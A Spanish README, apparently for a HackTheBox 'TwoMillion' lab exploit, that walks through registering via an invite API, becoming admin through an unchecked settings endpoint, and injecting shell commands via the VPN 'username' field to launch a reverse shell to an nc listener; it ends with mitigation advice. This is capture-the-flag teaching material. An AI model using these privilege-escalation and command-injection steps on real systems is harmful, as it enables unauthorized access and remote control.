## https://sploitus.com/exploit?id=BECF7A33-AD19-5719-97D2-B17013FB329F
# HTB-TwoMillion-Exploit
> **Importante:** Esto NO es un writeup completo de la máquina TwoMillion.
> Cubre exclusivamente la primera parte: cómo obtener una **reverse shell** una vez que se tiene acceso a una cuenta en la máquina.
> Para el post-explotación y escalada a root, consulta otros writeups.
Exploit para la máquina **TwoMillion** de HackTheBox. La máquina simula una aplicación web con dos vulnerabilidades encadenadas que permiten pasar de una cuenta básica a **ejecución remota de comandos (RCE)** como `www-data`.
---
## Prerrequisitos
- Una cuenta válida en la máquina target
- Conectividad con el target (HTB VPN)
- Python 3 + `requests`
- Un listener listo para recibir la reverse shell (`nc -lvnp `)
---
## ¿No tienes cuenta? Cómo conseguirla
Si estás empezando la máquina desde cero y no tienes una cuenta, la API de invitación te permite generar un código de registro:
### 1. Descubrir el endpoint de invitación
La aplicación expone un endpoint de API:
```http
POST /api/v1/invite/generate
```
### 2. Generar un código de invitación
```bash
curl -s -X POST 'http://2million.htb/api/v1/invite/generate' \
-H 'Content-Type: application/json'
```
Respuesta esperada (abreviada):
```json
{"data":{"code":"codigo-generado","format":"..."}}
```
### 3. Usar el código para registrar una cuenta
```bash
curl -s -X POST 'http://2million.htb/api/v1/user/register' \
-H 'Content-Type: application/json' \
-d '{"username":"usuario","password":"contraseña","passwordr":"contraseña","invitecode":"codigo-generado"}'
```
Si todo sale bien, recibirás una respuesta con los datos del nuevo usuario.
Guarda la cookie **PHPSESSID** que se genera al autenticarte — la vas a necesitar.
---
## Cadena de Vulnerabilidades
### Vulnerabilidad 1: Escalación a Admin
El endpoint `PUT /api/v1/admin/settings/update` **no verifica permisos**. Cualquier usuario autenticado puede volverse administrador:
```bash
curl -s -X PUT 'http://2million.htb/api/v1/admin/settings/update' \
-H 'Cookie: PHPSESSID=TU_SESSION' \
-H 'Content-Type: application/json' \
-d '{"email":"user@mail.com","is_admin":1}'
```
Verificar que funcionó:
```bash
curl -s 'http://2million.htb/api/v1/admin/auth' \
-H 'Cookie: PHPSESSID=TU_SESSION'
# Respuesta esperada: {"message":true}
```
### Vulnerabilidad 2: Command Injection
Una vez admin, el endpoint `POST /api/v1/admin/vpn/generate` toma el parámetro `username` y lo concatena directamente en un comando shell **sin sanitizarlo**. Esto permite inyectar comandos arbitrarios usando la sintaxis `$(comando)` de las shells POSIX.
Por ejemplo, si envías:
```json
{"username": "test$(id)"}
```
El servidor ejecuta algo como:
```bash
/usr/bin/gen_vpn --username test$(id) > /tmp/vpn/test.ovpn
```
Y el resultado de `id` se incrusta en la salida.
---
## El Script
El archivo [`exploit.py`](exploit.py) automatiza el proceso en dos pasos:
### Paso 1: Escribir payload a disco
Inyecta un comando que codifica un script reverse shell en **base64** y lo escribe a `/tmp/r.py` en el target usando `echo ... | base64 -d` (evita problemas con comillas anidadas).
### Paso 2: Ejecutar la reverse shell
Inyecta un segundo comando que ejecuta el script recién escrito. Esto inicia una conexión de vuelta a tu listener.
### Uso
```bash
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
python3 exploit.py [TARGET_URL]
```
| Parámetro | Descripción | Default |
|---|---|---|
| `LHOST` | IP de tu máquina atacante (HTB VPN) | — |
| `LPORT` | Puerto donde escucha tu listener | — |
| `PHPSESSID` | Cookie de sesión (debe tener permisos admin) | — |
| `TARGET_URL` | URL base del target | `http://2million.htb` |
### Ejemplo
```bash
nc -lvnp 4444 &
python3 exploit.py 10.10.14.x 4444 abc123def456ghi
```
---
## ¿Por qué funciona?
La raíz del problema es que el parámetro `username` se pasa directamente a un comando shell sin filtrar ni escapar. Cualquier carácter especial de shell (`$`, `` ` ``, `|`, `;`, `&`) se interpreta literalmente.
En este caso se usa `$()` porque:
- No necesita comillas adicionales que puedan romper el JSON
- La salida del comando se captura y devuelve en la respuesta HTTP
- Permite comandos arbitrariamente largos (el payload base64 se inyecta completo)
---
## Mitigación
Para corregir esta vulnerabilidad en una aplicación real:
1. **Nunca** concatenes entrada de usuario en comandos shell
2. Usa `escapeshellarg()` o el equivalente en tu lenguaje
3. Valida el formato de entrada (regex: solo alfanumérico + guiones)
4. Implementa autorización en cada endpoint admin
---
## Disclaimer
Este material es exclusivamente con fines educativos y para entornos controlados como HackTheBox. No lo uses contra sistemas sin autorización explícita.